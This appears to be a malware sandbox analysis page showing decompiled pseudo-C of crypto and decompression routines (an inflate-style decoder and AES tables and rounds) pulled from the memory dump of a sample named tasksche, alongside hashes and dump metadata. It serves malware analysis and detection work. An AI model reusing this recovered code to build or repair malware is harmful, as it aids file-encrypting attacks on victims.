0x00000000
0x00000000
0x00000000
0x0041b0e1
0x0041b0e1
0x0041b0e4
0x0041b0e8
0x0041b0ea
0x0041b0fd
0x0041b0fd
0x0041b101
0x0041b105
0x0041b107
0x0041b11a
0x0041b11a
0x0041b11e
0x0041b122
0x0041b124
0x0041b137
0x0041b137
0x0041b13b
0x0041b13f
0x0041b141
0x0041b147
0x0041b14a
0x0041b14e
0x0041b14e
0x00000000
0x0041b141
0x0041b12a
0x0041b12d
0x0041b131
0x0041b135
0x00000000
0x00000000
0x00000000
0x0041b135
0x0041b10d
0x0041b110
0x0041b114
0x0041b118
0x00000000
0x00000000
0x00000000
0x0041b118
0x0041b0f0
0x0041b0f3
0x0041b0f7
0x0041b0fb
0x00000000
0x00000000
0x00000000
0x0041b0fb
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 2db7ca3506525dcc090db9a2522c638e963424884ad3e69ae6d01f57f6380b46
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 7AC17173D0E9B3068735812E84686ABEE62AFD175031FC3E29CE42F389D32B5D9495D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041462B Relevance: .2, Instructions: 236
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E0041462B(void* __ebx, intOrPtr __ecx, intOrPtr* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v28;
				char _v74;
				char _v90;
				char _v154;
				char _v460;
				signed int _t93;
				unsigned int _t94;
				signed int _t97;
				signed int _t98;
				unsigned int _t111;
				unsigned int _t116;
				unsigned int _t120;
				signed int _t122;
				void* _t131;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				unsigned int _t152;
				void* _t154;
				intOrPtr* _t156;
				intOrPtr _t162;
				intOrPtr* _t166;
				void* _t167;
				signed int _t170;
				signed int _t174;
				signed int _t178;
				unsigned int _t180;
				intOrPtr* _t182;
				intOrPtr _t183;
				intOrPtr* _t186;
				intOrPtr _t187;
				void* _t190;

				_t131 = __ebx;
				_v8 = __ecx;
				if( *((char*)(_a8 + 0x11)) != 0) {
					_t186 = _a4;
					__eflags =  *((char*)(_t186 + 8));
					if( *((char*)(_t186 + 8)) != 0) {
						L5:
						_t7 =  &_a8;
						 *_t7 = _a8 & 0x00000000;
						__eflags =  *_t7;
						_push(_t131);
						do {
							_t132 = E004097D1(_t186) >> 0x0000000c & 0x000000ff;
							E004097BA(_t186, 4);
							__eflags = _t132 - 0xf;
							if(_t132 != 0xf) {
								 *(_t190 + _a8 - 0x18) = _t132;
								goto L15;
							}
							_t178 = E004097D1(_t186) >> 0x0000000c & 0x000000ff;
							E004097BA(_t186, 4);
							__eflags = _t178;
							if(_t178 != 0) {
								_t180 = _t178 + 2;
								while(1) {
									__eflags = _t180;
									if(_t180 <= 0) {
										break;
									}
									_t180 = _t180 - 1;
									__eflags = _a8 - 0x14;
									if(_a8 >= 0x14) {
										break;
									}
									_t14 =  &_a8;
									 *_t14 = _a8 + 1;
									__eflags =  *_t14;
									 *(_t190 + _a8 - 0x18) = 0;
								}
								_a8 = _a8 - 1;
								goto L15;
							}
							 *(_t190 + _a8 - 0x18) = _t132;
							L15:
							_a8 = _a8 + 1;
							__eflags = _a8 - 0x14;
						} while (__eflags < 0);
						_t182 = _a12 + 0x3bb0;
						E0041284B(__eflags,  &_v28, _t182, 0x14);
						_t29 =  &_a8;
						 *_t29 = _a8 & 0x00000000;
						__eflags =  *_t29;
						do {
							__eflags =  *((char*)(_t186 + 8));
							if( *((char*)(_t186 + 8)) != 0) {
								L20:
								_t93 = E0040978C(_t186);
								_t133 =  *(_t182 + 0x84);
								_t94 = _t93 & 0x0000fffe;
								__eflags = _t94 -  *((intOrPtr*)(_t182 + 4 + _t133 * 4));
								if(_t94 >=  *((intOrPtr*)(_t182 + 4 + _t133 * 4))) {
									_t174 = 0xf;
									_t134 = _t133 + 1;
									__eflags = _t134 - _t174;
									if(_t134 >= _t174) {
										L28:
										_t152 =  *(_t186 + 4) + _t174;
										 *(_t186 + 4) = _t152 & 0x00000007;
										_t136 = _t152 >> 3;
										 *_t186 =  *_t186 + (_t152 >> 3);
										_t154 = 0x10;
										_t97 = (_t94 -  *((intOrPtr*)(_t182 + _t174 * 4)) >> _t154 - _t174) +  *((intOrPtr*)(_t182 + 0x44 + _t174 * 4));
										__eflags = _t97 -  *_t182;
										if(_t97 >=  *_t182) {
											_t97 = 0;
											__eflags = 0;
										}
										_t98 =  *(_t182 + 0xc88 + _t97 * 2) & 0x0000ffff;
										L31:
										__eflags = _t98 - 0x10;
										if(_t98 >= 0x10) {
											__eflags = _t98 - 0x12;
											_t156 = _t186;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t136 = (E004097D1(_t156) >> 9) + 0xb;
													__eflags = _t136;
													_push(7);
												} else {
													_t136 = (E004097D1(_t156) >> 0xd) + 3;
													_push(3);
												}
												E004097BA(_t186);
												while(1) {
													__eflags = _t136;
													if(_t136 <= 0) {
														goto L50;
													}
													_t136 = _t136 - 1;
													__eflags = _a8 - 0x1ae;
													if(_a8 >= 0x1ae) {
														goto L51;
													}
													_t71 =  &_a8;
													 *_t71 = _a8 + 1;
													__eflags =  *_t71;
													 *(_t190 + _a8 - 0x1c8) = 0;
												}
												goto L50;
											}
											__eflags = _t98 - 0x10;
											if(_t98 != 0x10) {
												_t136 = (E004097D1(_t156) >> 9) + 0xb;
												__eflags = _t136;
												_push(7);
											} else {
												_t136 = (E004097D1(_t156) >> 0xd) + 3;
												_push(3);
											}
											E004097BA(_t186);
											_t120 = _a8;
											__eflags = _t120;
											if(_t120 > 0) {
												while(1) {
													__eflags = _t136;
													if(_t136 <= 0) {
														break;
													}
													_t136 = _t136 - 1;
													__eflags = _t120 - 0x1ae;
													if(_t120 >= 0x1ae) {
														goto L51;
													}
													 *((char*)(_t190 + _t120 - 0x1c8)) =  *((intOrPtr*)(_t190 + _t120 - 0x1c9));
													_t120 = _t120 + 1;
													__eflags = _t120;
													_a8 = _t120;
												}
											}
											goto L50;
										}
										_a8 = _a8 + 1;
										 *(_t190 + _a8 - 0x1c8) = _t98;
										goto L50;
									}
									_t166 = _t182 + 4 + _t134 * 4;
									while(1) {
										__eflags = _t94 -  *_t166;
										if(_t94 <  *_t166) {
											break;
										}
										_t134 = _t134 + 1;
										_t166 = _t166 + 4;
										__eflags = _t134 - 0xf;
										if(_t134 < 0xf) {
											continue;
										}
										goto L28;
									}
									_t174 = _t134;
									goto L28;
								}
								_t167 = 0x10;
								_t122 = _t94 >> _t167 - _t133;
								_t170 = ( *(_t122 + _t182 + 0x88) & 0x000000ff) +  *(_t186 + 4);
								 *_t186 =  *_t186 + (_t170 >> 3);
								 *(_t186 + 4) = _t170 & 0x00000007;
								_t98 =  *(_t182 + 0x488 + _t122 * 2) & 0x0000ffff;
								goto L31;
							}
							_t162 = _v8;
							__eflags =  *_t186 -  *((intOrPtr*)(_t162 + 0x78)) - 5;
							if( *_t186 <=  *((intOrPtr*)(_t162 + 0x78)) - 5) {
								goto L20;
							}
							_t116 = E004123EB(_t136, _t162);
							__eflags = _t116;
							if(_t116 == 0) {
								L53:
								_t111 = 0;
								L55:
								L56:
								return _t111;
							}
							goto L20;
							L50:
							__eflags = _a8 - 0x1ae;
						} while (_a8 < 0x1ae);
						L51:
						__eflags =  *((char*)(_t186 + 8));
						_t183 = _v8;
						if(__eflags != 0) {
							L54:
							_t187 = _a12;
							E0041284B(__eflags,  &_v460, _t187, 0x132);
							E0041284B(__eflags,  &_v154, _t187 + 0xeec, 0x40);
							E0041284B(__eflags,  &_v90, _t187 + 0x1dd8, 0x10);
							__eflags = _t187 + 0x2cc4;
							E0041284B(_t187 + 0x2cc4,  &_v74, _t187 + 0x2cc4, 0x2c);
							_t111 = 1;
							goto L55;
						}
						__eflags =  *_t186 -  *((intOrPtr*)(_t183 + 0x78));
						if(__eflags <= 0) {
							goto L54;
						}
						goto L53;
					}
					__eflags =  *_t186 -  *((intOrPtr*)(__ecx + 0x78)) - 0x19;
					if( *_t186 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
						goto L5;
					}
					_t111 = E004123EB(__ebx, __ecx);
					__eflags = _t111;
					if(_t111 == 0) {
						goto L56;
					}
					goto L5;
				}
				return 1;
			}

0x0041462b
0x0041463b
0x0041463e
0x00414648
0x0041464b
0x0041464f
0x00414668
0x00414668
0x00414668
0x00414668
0x0041466c
0x0041466e
0x0041467c
0x0041467f
0x00414684
0x00414687
0x004146ce
0x00000000
0x004146ce
0x00414697
0x0041469a
0x0041469f
0x004146a1
0x004146ad
0x004146c2
0x004146c2
0x004146c4
0x00000000
0x00000000
0x004146b0
0x004146b1
0x004146b5
0x00000000
0x00000000
0x004146ba
0x004146ba
0x004146ba
0x004146bd
0x004146bd
0x004146c6
0x00000000
0x004146c6
0x004146a6
0x004146d2
0x004146d2
0x004146d5
0x004146d5
0x004146e3
0x004146ee
0x004146f3
0x004146f3
0x004146f3
0x004146f7
0x004146f7
0x004146fb
0x00414717
0x00414719
0x0041471e
0x00414724
0x00414729
0x0041472d
0x0041475a
0x0041475b
0x0041475c
0x0041475e
0x00414775
0x00414778
0x0041477f
0x00414782
0x00414785
0x0041478c
0x00414791
0x00414795
0x00414797
0x00414799
0x00414799
0x00414799
0x0041479b
0x004147a3
0x004147a3
0x004147a6
0x004147ba
0x004147bd
0x004147bf
0x00414816
0x00414833
0x00414833
0x00414836
0x00414818
0x00414822
0x00414825
0x00414825
0x0041483a
0x00414859
0x00414859
0x0041485b
0x00000000
0x00000000
0x00414841
0x00414842
0x00414849
0x00000000
0x00000000
0x0041484e
0x0041484e
0x0041484e
0x00414851
0x00414851
0x00000000
0x00414859
0x004147c1
0x004147c4
0x004147e1
0x004147e1
0x004147e4
0x004147c6
0x004147d0
0x004147d3
0x004147d3
0x004147e8
0x004147ed
0x004147f0
0x004147f2
0x00414810
0x00414810
0x00414812
0x00000000
0x00000000
0x004147f6
0x004147f7
0x004147fc
0x00000000
0x00000000
0x00414805
0x0041480c
0x0041480c
0x0041480d
0x0041480d
0x00414814
0x00000000
0x004147f2
0x004147ab
0x004147ae
0x00000000
0x004147ae
0x00414760
0x00414764
0x00414764
0x00414766
0x00000000
0x00000000
0x00414768
0x00414769
0x0041476c
0x0041476f
0x00000000
0x00000000
0x00000000
0x00414771
0x00414773
0x00000000
0x00414773
0x00414731
0x00414734
0x0041473e
0x00414746
0x0041474b
0x0041474e
0x00000000
0x0041474e
0x004146fd
0x00414706
0x00414708
0x00000000
0x00000000
0x0041470a
0x0041470f
0x00414711
0x0041487a
0x0041487a
0x004148d6
0x004148d8
0x00000000
0x004148d8
0x00000000
0x0041485d
0x0041485d
0x0041485d
0x0041486a
0x0041486a
0x0041486e
0x00414871
0x0041487e
0x0041487e
0x00414890
0x004148a7
0x004148bb
0x004148c2
0x004148cf
0x004148d4
0x00000000
0x004148d4
0x00414875
0x00414878
0x00000000
0x00000000
0x00000000
0x00414878
0x00414657
0x00414659
0x00000000
0x00000000
0x0041465b
0x00414660
0x00414662
0x00000000
0x00000000
0x00000000
0x00414662
0x00000000

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74c5e34f9abefec6387e3142de93532e06a17bc948433487153fd85e66a9dea7
Instruction ID: 3d3811311c0e96151038b15cdb33c9c3baef1538c920ea216c41a1bce0e780a6
Opcode Fuzzy Hash: 74c5e34f9abefec6387e3142de93532e06a17bc948433487153fd85e66a9dea7
Instruction Fuzzy Hash: DC812731600644ABDB14EF29C590BFD73A5EB92318F20842FE9569B2C2C77CD9C2CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB23 Relevance: .2, Instructions: 231
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040CB23(void* __ebx, char* __ecx, char _a4, unsigned int _a8, signed int* _a12) {
				intOrPtr _v8;
				signed int _v9;
				signed int _v10;
				signed int _v11;
				signed int _v12;
				signed int _v13;
				signed int _v14;
				signed int _v15;
				signed int _v16;
				signed int _v17;
				signed int _v18;
				signed int _v19;
				signed int _v20;
				signed int _v21;
				signed int _v22;
				signed int _v23;
				signed int _v24;
				char _v25;
				char _v26;
				char _v27;
				signed int _v28;
				char _v29;
				char _v30;
				char _v31;
				signed int _v32;
				char _v33;
				char _v34;
				char _v35;
				signed int _v36;
				char _v37;
				char _v38;
				char _v39;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				void* __edi;
				void* __esi;
				unsigned int _t204;
				signed int _t236;
				void* _t311;
				signed int* _t312;
				unsigned int _t342;
				intOrPtr* _t344;
				char* _t346;

				_t311 = __ebx;
				_t204 = _a8;
				_t346 = __ecx;
				if(_t204 > 0) {
					_t342 = _t204 >> 4;
					if( *__ecx == 0) {
						_v8 = __ecx + 8;
						E0041C290(__ebx, _t342, __ecx,  &_v56, __ecx + 8, 0x10);
						_a8 = _t342;
						if(_t342 > 0) {
							_t344 = _a4;
							_push(_t311);
							_t312 = _a12;
							do {
								E0040C43B( &_v24, _t344, ( *(_t346 + 4) << 4) + _t346 + 0x18);
								_v40 =  *(0x4371e0 + (_v24 & 0x000000ff) * 4) ^  *(0x436de0 + (_v11 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v14 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v17 & 0x000000ff) * 4);
								_v36 =  *(0x4371e0 + (_v20 & 0x000000ff) * 4) ^  *(0x436de0 + (_v23 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v10 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v13 & 0x000000ff) * 4);
								_v32 =  *(0x4371e0 + (_v16 & 0x000000ff) * 4) ^  *(0x436de0 + (_v19 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v22 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v9 & 0x000000ff) * 4);
								_v28 =  *(0x4371e0 + (_v12 & 0x000000ff) * 4) ^  *(0x436de0 + (_v15 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v18 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v21 & 0x000000ff) * 4);
								_t236 =  *(_t346 + 4) - 1;
								if(_t236 > 1) {
									_a12 = (_t236 << 4) + _t346 + 0x18;
									_a4 = _t236 - 1;
									do {
										E0040C43B( &_v24,  &_v40, _a12);
										_v40 =  *(0x4371e0 + (_v24 & 0x000000ff) * 4) ^  *(0x436de0 + (_v11 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v14 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v17 & 0x000000ff) * 4);
										_v36 =  *(0x4371e0 + (_v20 & 0x000000ff) * 4) ^  *(0x436de0 + (_v23 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v10 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v13 & 0x000000ff) * 4);
										_a12 = _a12 - 0x10;
										_v32 =  *(0x4371e0 + (_v16 & 0x000000ff) * 4) ^  *(0x436de0 + (_v19 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v22 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v9 & 0x000000ff) * 4);
										_t127 =  &_a4;
										 *_t127 = _a4 - 1;
										_v28 =  *(0x4371e0 + (_v12 & 0x000000ff) * 4) ^  *(0x436de0 + (_v15 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v18 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v21 & 0x000000ff) * 4);
									} while ( *_t127 != 0);
								}
								E0040C43B( &_v24,  &_v40, _t346 + 0x28);
								_v40 =  *((intOrPtr*)((_v24 & 0x000000ff) + 0x438600));
								_v39 =  *((intOrPtr*)((_v11 & 0x000000ff) + 0x438600));
								_v38 =  *((intOrPtr*)((_v14 & 0x000000ff) + 0x438600));
								_v37 =  *((intOrPtr*)((_v17 & 0x000000ff) + 0x438600));
								_t146 = (_v20 & 0x000000ff) + 0x438600; // 0x8239e37c
								_v36 =  *_t146;
								_v35 =  *((intOrPtr*)((_v23 & 0x000000ff) + 0x438600));
								_v34 =  *((intOrPtr*)((_v10 & 0x000000ff) + 0x438600));
								_v33 =  *((intOrPtr*)((_v13 & 0x000000ff) + 0x438600));
								_t158 = (_v16 & 0x000000ff) + 0x438600; // 0xa340bf38
								_v32 =  *_t158;
								_v31 =  *((intOrPtr*)((_v19 & 0x000000ff) + 0x438600));
								_v30 =  *((intOrPtr*)((_v22 & 0x000000ff) + 0x438600));
								_v29 =  *((intOrPtr*)((_v9 & 0x000000ff) + 0x438600));
								_t170 = (_v12 & 0x000000ff) + 0x438600; // 0xd56a0952
								_v28 =  *_t170;
								_v27 =  *((intOrPtr*)((_v15 & 0x000000ff) + 0x438600));
								_v26 =  *((intOrPtr*)((_v18 & 0x000000ff) + 0x438600));
								_v25 =  *((intOrPtr*)((_v21 & 0x000000ff) + 0x438600));
								E0040C43B( &_v40,  &_v40, _t346 + 0x18);
								if( *((char*)(_t346 + 1)) != 0) {
									E0040C43B( &_v40,  &_v40,  &_v56);
								}
								_v56 =  *_t344;
								_v52 =  *((intOrPtr*)(_t344 + 4));
								_v48 =  *((intOrPtr*)(_t344 + 8));
								_v44 =  *((intOrPtr*)(_t344 + 0xc));
								 *_t312 = _v40;
								_t312[1] = _v36;
								_t312[2] = _v32;
								_t312[3] = _v28;
								_t344 = _t344 + 0x10;
								_t312 =  &(_t312[4]);
								_t200 =  &_a8;
								 *_t200 = _a8 - 1;
							} while ( *_t200 != 0);
							_pop(_t311);
						}
						_t204 = E0041C290(_t311, _t342, _t346, _v8,  &_v56, 0x10);
					} else {
						_t204 = E0040C46D(__ecx, _a4, _t342, _a12);
					}
				}
				return _t204;
			}

0x0040cb23
0x0040cb26
0x0040cb2d
0x0040cb31
0x0040cb3e
0x0040cb40
0x0040cb59
0x0040cb60
0x0040cb68
0x0040cb6d
0x0040cb73
0x0040cb76
0x0040cb77
0x0040cb7a
0x0040cb8a
0x0040cbbf
0x0040cbee
0x0040cc1d
0x0040cc48
0x0040cc4e
0x0040cc52
0x0040cc62
0x0040cc65
0x0040cc68
0x0040cc73
0x0040cca8
0x0040ccd7
0x0040cd06
0x0040cd0a
0x0040cd35
0x0040cd35
0x0040cd38
0x0040cd38
0x0040cc68
0x0040cd4d
0x0040cd5c
0x0040cd69
0x0040cd76
0x0040cd83
0x0040cd8a
0x0040cd90
0x0040cd9d
0x0040cdaa
0x0040cdb7
0x0040cdbe
0x0040cdc4
0x0040cdd1
0x0040cdde
0x0040cdeb
0x0040cdf2
0x0040cdf8
0x0040ce05
0x0040ce12
0x0040ce1f
0x0040ce2b
0x0040ce34
0x0040ce3f
0x0040ce3f
0x0040ce46
0x0040ce4c
0x0040ce52
0x0040ce58
0x0040ce5e
0x0040ce63
0x0040ce69
0x0040ce6f
0x0040ce72
0x0040ce75
0x0040ce78
0x0040ce78
0x0040ce78
0x0040ce81
0x0040ce81
0x0040ce8b
0x0040cb42
0x0040cb49
0x0040cb49
0x0040ce93
0x0040ce96

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10288e97197f0ad943ca35c4742294250ec2590f5ea2a5543df369fbf88b7a0a
Instruction ID: 755fc568a246bd0a3aab6df15388740ae6706893d1001b075bd9344283f82762
Opcode Fuzzy Hash: 10288e97197f0ad943ca35c4742294250ec2590f5ea2a5543df369fbf88b7a0a
Instruction Fuzzy Hash: FFC151B48182D9AECF01DFA5D4A09FEBFF4AF1A240B0950DAE5D5A7252C234D720DB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040C756 Relevance: .2, Instructions: 195
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040C756() {
				signed char _v8;
				char _v521;
				signed int _t98;
				signed int _t100;
				signed int _t102;
				signed char _t105;
				signed char _t106;
				char _t107;
				void* _t108;
				signed char _t119;
				signed int _t120;
				signed int _t129;
				signed char* _t155;
				signed int _t156;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				signed int _t181;
				signed int _t182;
				void* _t183;

				_t107 = 0;
				_t98 = 1;
				do {
					 *(_t183 + _t107 - 0x304) = _t98;
					 *(_t183 + _t107 - 0x205) = _t98;
					 *((char*)(_t183 + _t98 - 0x104)) = _t107;
					_t107 = _t107 + 1;
					asm("sbb edx, edx");
					_t98 = _t98 ^  ~(_t98 & 0x00000080) & 0x0000011b ^ _t98 + _t98;
				} while (_t98 != 1);
				_t108 = 0;
				do {
					asm("sbb edx, edx");
					 *(_t108 + 0x4385e0) = _t98;
					_t98 = _t98 + _t98 ^  ~(_t98 & 0x00000080) & 0x0000011b;
					_t108 = _t108 + 1;
				} while (_t108 < 0x1e);
				_t105 = 0;
				_v8 = 0;
				L6:
				L6:
				if(_t105 == 0) {
					_t100 = 0;
				} else {
					_t100 =  *( &_v521 - ( *(_t183 + (_t105 & 0x000000ff) - 0x104) & 0x000000ff)) & 0x000000ff;
				}
				_t119 = (_t100 ^ (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) + (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100)) >> 0x00000008 ^ _t100 ^ (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) + (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) ^ 0x00000063;
				_t102 = _t105 * 4;
				_t16 = _t102 + 0x4375e0; // 0x4375e0
				_t155 = _t16;
				 *(_t105 + 0x438700) = _t119;
				_t155[1] = _t119;
				 *_t155 = _t119;
				 *(_t102 + 0x4379e3) = _t119;
				 *(_t102 + 0x4379e0) = _t119;
				 *(_t102 + 0x437de3) = _t119;
				 *(_t102 + 0x437de2) = _t119;
				 *(_t102 + 0x4381e2) = _t119;
				 *(_t102 + 0x4381e1) = _t119;
				if(_t119 == 0) {
					_t156 = 0;
				} else {
					_t156 =  *(_t183 + ( *(_t183 + (_t119 & 0x000000ff) - 0x104) & 0x000000ff) - 0x2eb) & 0x000000ff;
				}
				 *(_t102 + 0x4375e3) = _t156;
				 *(_t102 + 0x4379e2) = _t156;
				 *(_t102 + 0x437de1) = _t156;
				 *(_t102 + 0x4381e0) = _t156;
				if(_t119 == 0) {
					_t120 = 0;
				} else {
					_t120 =  *(_t183 + ( *(_t183 + (_t119 & 0x000000ff) - 0x104) & 0x000000ff) - 0x303) & 0x000000ff;
				}
				 *(_t102 + 0x4375e2) = _t120;
				 *(_t102 + 0x4379e1) = _t120;
				 *(_t102 + 0x437de0) = _t120;
				 *(_t102 + 0x4381e3) = _t120;
				_t181 = _t105 & 0x000000ff;
				if((((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) >> 0x00000008 ^ ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) ^ 0x00000005) == 0) {
					_t106 = 0;
				} else {
					_t106 =  *((intOrPtr*)( &_v521 - ( *(_t183 + (((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) >> 0x00000008 & 0x000000ff ^ ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) & 0x000000ff ^ 0x00000005) - 0x104) & 0x000000ff)));
				}
				 *(_v8 + 0x438600) = _t106;
				if(_t106 == 0) {
					_t161 = 0;
				} else {
					_t161 =  *(_t183 + ( *(_t183 + (_t106 & 0x000000ff) - 0x104) & 0x000000ff) - 0x29c) & 0x000000ff;
				}
				_t182 = _t106 & 0x000000ff;
				_t129 = _t182 << 2;
				 *(_t102 + 0x4365e2) = _t161;
				 *(_t102 + 0x4369e1) = _t161;
				 *(_t102 + 0x436de0) = _t161;
				 *(_t102 + 0x4371e3) = _t161;
				 *(_t129 + 0x4355e2) = _t161;
				 *(_t129 + 0x4359e1) = _t161;
				 *(_t129 + 0x435de0) = _t161;
				 *(_t129 + 0x4361e3) = _t161;
				if(_t106 == 0) {
					_t162 = 0;
				} else {
					_t162 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x23d) & 0x000000ff;
				}
				 *(_t102 + 0x4365e0) = _t162;
				 *(_t102 + 0x4369e3) = _t162;
				 *(_t102 + 0x436de2) = _t162;
				 *(_t102 + 0x4371e1) = _t162;
				 *(_t129 + 0x4355e0) = _t162;
				 *(_t129 + 0x4359e3) = _t162;
				 *(_t129 + 0x435de2) = _t162;
				 *(_t129 + 0x4361e1) = _t162;
				if(_t106 == 0) {
					_t163 = 0;
				} else {
					_t163 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x216) & 0x000000ff;
				}
				 *(_t102 + 0x4365e1) = _t163;
				 *(_t102 + 0x4369e0) = _t163;
				 *(_t102 + 0x436de3) = _t163;
				 *(_t102 + 0x4371e2) = _t163;
				 *(_t129 + 0x4355e1) = _t163;
				 *(_t129 + 0x4359e0) = _t163;
				 *(_t129 + 0x435de3) = _t163;
				 *(_t129 + 0x4361e2) = _t163;
				if(_t106 == 0) {
					_t164 = 0;
				} else {
					_t164 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x225) & 0x000000ff;
				}
				_v8 = _v8 + 1;
				 *(_t102 + 0x4365e3) = _t164;
				 *(_t102 + 0x4369e2) = _t164;
				 *(_t102 + 0x436de1) = _t164;
				 *(_t102 + 0x4371e0) = _t164;
				 *(_t129 + 0x4355e3) = _t164;
				 *(_t129 + 0x4359e2) = _t164;
				 *(_t129 + 0x435de1) = _t164;
				 *(_t129 + 0x4361e0) = _t164;
				if(_v8 < 0x100) {
					goto L5;
				}
				return _t102;
				L5:
				_t105 = _v8;
				goto L6;
			}

0x0040c763
0x0040c765
0x0040c76c
0x0040c774
0x0040c77b
0x0040c782
0x0040c789
0x0040c78c
0x0040c795
0x0040c797
0x0040c79c
0x0040c79f
0x0040c7a9
0x0040c7ab
0x0040c7b5
0x0040c7b7
0x0040c7b8
0x0040c7bd
0x0040c7bf
0x00000000
0x0040c7c7
0x0040c7c9
0x0040c7e3
0x0040c7cb
0x0040c7de
0x0040c7de
0x0040c7fd
0x0040c800
0x0040c807
0x0040c807
0x0040c80d
0x0040c813
0x0040c816
0x0040c818
0x0040c81e
0x0040c824
0x0040c82a
0x0040c830
0x0040c836
0x0040c83c
0x0040c853
0x0040c83e
0x0040c849
0x0040c849
0x0040c855
0x0040c85b
0x0040c861
0x0040c867
0x0040c86f
0x0040c886
0x0040c871
0x0040c87c
0x0040c87c
0x0040c888
0x0040c88e
